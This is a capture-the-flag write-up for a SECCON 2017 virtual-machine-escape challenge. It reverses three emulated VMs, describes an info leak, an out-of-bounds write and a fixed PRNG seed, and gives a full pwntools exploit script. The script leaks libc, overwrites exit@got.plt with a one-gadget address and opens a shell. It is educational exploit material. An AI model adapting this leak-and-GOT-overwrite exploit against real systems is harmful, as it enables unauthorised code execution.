Introduction
In this challenge, it gives a simplified model of virtual machine, that emulates the operations on CPU and an mapped IO. Beginning from this challenge, I plan to give a series of write-ups on virtual machine escape. This post is completely based on [1].
Program Analysis
To emulate the operation of a CPU [2], we first need to retrieve the information of the emulated register and the operand operation. In solution given in [1], all register information is listed in the source code. However, we cannot gain the full info of register usage from the binary. Therefore, the first step of our exploitation is to reverse the emulated operation of register in the binary.
In this challenge, there exists three virtual machines. Therefore, we have to reverse all these three virtual machines as listed below. (All information below can be reversed from the binary.)
VM1
/*Register: */ es: 0x235140[7] cs: 0x235140[4] ip: 0x235140[13] ax: 0x235140[0] ds: 0x235140[5] sp: 0x235140[11] ss: 0x235140[6] flag: 0x235140[12] /*Instruction Format*/ OpCode_OpndNum_Opnd1Type_Opnd1Value_Opnd2Type_Opnd2Value OpCode: 1byte OpndNum: 1byte Opnd1Type: OpndLength | OpndType Opnd2Type: OpndLength | OpndType OpndLenght: byte - 0x40, word - 0x20 OpndType: mem_offset - 0x2, imm - 0x1, reg - 0x0
VM2
/*Register: */ es: 0x225100[7] cs: 0x225100[8] ip: 0x225100[6] ax: 0x225100[11] ds: 0x225100[10] sp: 0x225100[9] ss: 0x225100[1] flag: 0x225100[4] di: 0x225100[2] si: 0x225100[0] /*Instruction Format*/ Opcode_Opnd1Value_Opnd1Type_Opnd2Value_Opnd2Type Opcode: 1byte Opnd1Value: 4byte Opnd2Value: 4byte Opnd1Type: OpndLength | OpndType Opnd2Type: OpndLength | OpndType OpndLenght: byte - 0x40, dword - 0x20 OpndType: mem_offset - 0x2, imm - 0x1, reg - 0x0
VM3
/*Register: */ es: 0x2150c0[4] cs: 0x2150c0[10] ip: 0x2150c0[9] ax: 0x2150c0[5] ds: 0x2150c0[3] ss: 0x2150c0[0] sp: 0x2150c0[7] flag: 0x2150c0[12] di: 0x2150c0[11] /*Instruction Format*/ Opnd2Size_Opnd2Type_Opnd1Size_Opnd1Type_OpCode_Opnd1Value_Opnd2Value Opnd1Size: 2bit: 0x1 - word, 0x2 - byte Opnd1Type: 2bit: reg - 0x1, imm - 0x2, mem_offset - 0x3 Opnd2Size: 2bit: 0x1 - word, 0x2 - byte Opnd2Type: 2bit: reg - 0x1, imm - 0x2, mem_offset - 0x3
According to the reversed result from the binary, we can learn that only VM1 can interact with user input and user output. VM2 loads instructions into its memory via a shared memory between VM1 and VM2. VM3 loads instructions into its own memory via a shared memory between VM2 and VM3. Similarly, the output of VM2 and VM3 is also done via shared memory.
Vulnerability Analysis
Technically speaking, there exists three vulnerabilities in the binary: (1)Info Leak (2)Memory Corruption, and (3)Fixed seed for pseudo random number generator (PRNG).
(1) In VM2, we gain the ability to modify register. At the same time, VM2 is the only virtual machine that provides operation on 4-byte value/register. In the operation POP_DWORD of VM2, there is no check on the boundary of current stack area. Therefore, we can use POP_DOWRD instruction to load value in srand@got.plt to leak the address of libc.
(2) In VM3, in its RAND operation, it checks the data segment boundary via REG_ES << 4 + REG_DI, but the memory saving operation is done via REG_DS << 4 + REG_DI. Therefore, we can somehow modify the value out of the bound of data segment.
(3) In VM3, in its RAND operation, the value saved in memory is decided by a rand() function. However, in the binary the seed value for the PRNG is a fixed number (0x31337). Which means that the value to be stored in memory is completely predictable.
Exploit Plan
For (1) and (2) mentioned above, there is nothing to take special notice.
For (3), I take an alternative way different from [1]. Since the PRNG used in rand() function is only dependant on the seed value and independent on the machine, I log 0x10000 return values of rand in a local file. For each round of overwriting exit@got.plt, I search in the logged values and decide the number of rand function that need to be skipped.
Exploit
from pwn import * DEBUG = int(sys.argv[1]); if(DEBUG == 0): r = remote("1.2.3.4", 23333); elif(DEBUG == 1): r = process("./inception"); elif(DEBUG == 2): r = process("./inception"); gdb.attach(r, '''source ./script.py'''); VM1_REG_AX = 0; VM1_REG_SS = 6; VM1_REG_SP = 11; VM1_REG_IP = 13; VM1_REG_CS = 4; VM1_REG_FLAG = 12; VM1_REG_ES = 7; VM1_REG_DS = 5; VM2_REG_AX = 11; VM2_REG_SS = 1; VM2_REG_SP = 9; VM2_REG_IP = 6; VM2_REG_CS = 8; VM2_REG_FLAG = 4; VM2_REG_ES = 7; VM2_REG_DS = 10; VM2_REG_DI = 2; VM2_REG_SI = 0; VM3_REG_ES = 4; VM3_REG_AX = 10; VM3_REG_CS = 9; VM3_REG_IP = 5; VM3_REG_DS = 3; VM3_REG_SS = 0; VM3_REG_SP = 7; VM3_REG_FLAG = 12; VM3_REG_DI = 11; VM1_NOP = 0x90; VM1_PUSH_WORD = 0x50; VM1_POP_WORD = 0x57; VM1_CALL = 0xe8; VM1_REL_JMP = 0xe9; VM1_HALT = 0xf4; VM1_RET = 0xc3; VM1_JMP_IF_NOT_SET = 0x5f; VM1_JMP_IF_SET = 0x4f; VM1_MOV = 0x89; VM1_SUB = 0x29; VM1_OUT = 0xb; #VM1 read data from share mem to stdout VM1_IN = 0xc; #VM1 write data to shared mem between VM1 and VM2 VM1_ADD = 0x1; VM1_CMP_BYTE_SET_IF_EQ = 0x38; VM1_XOR = 0x31 VM2_NOP = 0x92; VM2_CALL = 0x8a; VM2_FAR_RET = 0xbd; VM2_HALT = 0x83; VM2_MOV = 0x28; VM2_CMP_BYTE = 0x04; VM2_CMP_DWORD_SET_IF_EQ = 0xec; VM2_DIRECT_JUMP_IF_NOT_SET = 0x57; VM2_DIRECT_JUMP_IF_SET = 0x51; VM2_POP_DWORD = 0x20; VM2_POP_BYTE = 0xda; VM2_PUSH_DWORD = 0x88; VM2_PUSH_BYTE = 0x93; VM2_JMP = 0x75; VM2_ADD = 0x82; VM2_SUB = 0xb4; VM2_RET = 0xbc; VM2_OUT = 0x85; VM2_IN = 0xdb; VM2_MOVSB = 0xc1; VM2_STOSB = 0xc0; VM3_MOV = 0x1; VM3_ADD = 0x2; VM3_SUB = 0x3; VM3_XOR = 0x4; VM3_MUL = 0x5; VM3_DIV = 0x6; VM3_PUSH_WORD = 0x7; VM3_POP_WORD = 0x8; VM3_PUSH_BYTE = 0x9; VM3_POP_BYTE = 0xa; VM3_HALT = 0xb; VM3_OUT = 0xc; VM3_IN = 0xd; VM3_CMP_WORD_SET_IF_EQ = 0xe; VM3_CMP_BYTE_SET_IF_EQ = 0xf; VM3_REL_CALL = 0x10; VM3_RET = 0x11; VM3_REL_JUMP_IF_SET = 0x12; VM3_REL_JUMP_IF_NOT_SET = 0x13; VM3_REL_JUMP = 0x14; VM3_RAND = 0x15; fileName = "rand_log"; fd = open(fileName, 'r'); lines = fd.readlines(); fd.close(); randList = list(); for line in lines: numStr = line[:-1]; value = int(numStr, 16); randList.append(value); def arg_reg(num): return chr(32) + p16(num) def arg_reg4(num): return '\x20' + p32(num) def arg_imm(value): return '\x21' + p16(value) def arg_imm4(value): return '\x21' + p32(value) def arg_mem(num): return '\x22' + p16(num) def arg_mem4(num): return '\x22' + p32(num) def vm1_asm(ins, *args): asm = ""; asm += chr(ins); asm += chr(len(args)); if(len(args)): for arg in args: asm = asm + arg; return asm; def vm2_asm(ins, *args): asm = ""; asm += chr(ins); if(len(args)): for arg in args: asm = asm + arg[1:] + arg[0]; asm = asm.ljust(11, '\x00'); return asm; def vm3_asm(ins, operand_info, *args): ans = ""; ans += p16(ins | operand_info); if len(args): for arg in args: ans += arg return ans; VM3_OP1_REG = 0x100; VM3_OP1_WORD = 0x400; VM3_OP2_IMM = 0x2000; VM3_OP2_WORD = 0x4000; def execute_VM3(payload3): payload1 = ""; payload1 += vm1_asm(VM1_MOV, arg_reg(VM1_REG_ES), arg_imm(0x600)); payload1 += vm1_asm(VM1_IN); payload1 += vm1_asm(VM1_HALT); payload2 = ""; payload2 += vm2_asm(VM2_MOV, arg_reg4(VM2_REG_ES), arg_imm4(0x600 - 0x80)); payload2 += vm2_asm(VM2_IN); payload2 += vm2_asm(VM2_HALT) payload2 = payload2.ljust(0x800, '\x00') payload2 += payload3; r.recvuntil("Z\n"); r.send("\x01"); r.recvuntil("\n"); VM1_send(payload1); VM1_send(payload2); r.recvuntil("\n"); r.send('\x02'); r.recvuntil("\n"); r.send('\x03'); def VM1_send(data): r.send(p32(len(data)) + data); def rand_solver(cur, target): ans = 0; while(True): if(randList[cur + ans] == target): log.info("offset of 0x%02x: 0x%02x" % (target, ans)); return ans; else: ans += 1; def exploit(): payload1 = ""; payload1 += vm1_asm(VM1_MOV, arg_reg(VM1_REG_ES), arg_imm(0x600)); payload1 += vm1_asm(VM1_IN); payload1 += vm1_asm(VM1_HALT); payload2 = ""; payload2 += vm2_asm(VM2_MOV, arg_reg4(VM2_REG_SS), arg_imm4(0)); payload2 += vm2_asm(VM2_MOV, arg_reg4(VM2_REG_SP), arg_imm4((0x205058 -0x215100) & 0xffffffff )); payload2 += vm2_asm(VM2_POP_DWORD, arg_reg4(VM2_REG_AX)); payload2 += vm2_asm(VM2_POP_DWORD, arg_reg4(VM2_REG_SI)); payload2 += vm2_asm(VM2_MOV, arg_reg4(VM2_REG_DS), arg_reg4(VM2_REG_ES)); payload2 += vm2_asm(VM2_MOV, arg_mem4(0), arg_reg4(VM2_REG_AX)); payload2 += vm2_asm(VM2_MOV, arg_mem4(4), arg_reg4(VM2_REG_SI)); payload2 += vm2_asm(VM2_MOV, arg_reg4(VM2_REG_AX), arg_imm4(8)); payload2 += vm2_asm(VM2_OUT); payload2 += vm2_asm(VM2_HALT); payload2 = payload2.ljust(0x800, '\x00'); r.recvuntil('Z\n'); r.send('\x01'); r.recvuntil('\n'); VM1_send(payload1); VM1_send(payload2); r.recvuntil('Z\n'); r.send('\x02'); r.recvuntil('\n'); r.recvuntil("Z\n"); r.send('\x04'); r.recvuntil('\n'); payload1 = ""; payload1 += vm1_asm(VM1_MOV, arg_reg(VM1_REG_ES), arg_imm(0x800)); payload1 += vm1_asm(VM1_MOV, arg_reg(VM1_REG_AX), arg_imm(8)); payload1 += vm1_asm(VM1_OUT); payload1 += vm1_asm(VM1_HALT); r.send('\x01'); r.recvuntil("\n"); VM1_send(payload1); leak = r.recv(8); log.info("Leak: 0x%x" % u64(leak)); libcBaseAddr = u64(leak) - 0x3a8d0; log.info("Libc Base Addr: 0x%x" % libcBaseAddr); #targetValue = 0x414141414141; targetValue = libcBaseAddr + 0x4526a; cur = 0; for i in range(0, 8): target = targetValue & 0xff; targetValue = targetValue >> 8; offset = rand_solver(cur, target); cur = cur + offset + 1; log.info("Processing %dth byte 0x%02x" % (i, target)); payload3 = ""; payload3 += vm3_asm(VM3_MOV, VM3_OP1_REG|VM3_OP1_WORD|VM3_OP2_IMM|VM3_OP2_WORD, p16(VM3_REG_DI), p16(0)); payload3 += vm3_asm(VM3_RAND, 0)*offset; payload3 += vm3_asm(VM3_MOV, VM3_OP1_REG|VM3_OP1_WORD|VM3_OP2_IMM|VM3_OP2_WORD, p16(VM3_REG_DS), p16(0)); payload3 += vm3_asm(VM3_MOV, VM3_OP1_REG|VM3_OP1_WORD|VM3_OP2_IMM|VM3_OP2_WORD, p16(VM3_REG_DI), p16(-(0x2050C0 - 0x205018 - i) & 0xffff)); payload3 += vm3_asm(VM3_RAND, 0); payload3 += vm3_asm(VM3_HALT, 0); execute_VM3(payload3); log.info("finish overwriting"); execute_VM3('\xff'); r.interactive(); exploit();
Reference
[1] https://github.com/SECCON/SECCON2017_online_CTF/tree/master/pwn/500_vm_no_fun
[2] https://swtch.com/~rsc/talks/pcarch.pdf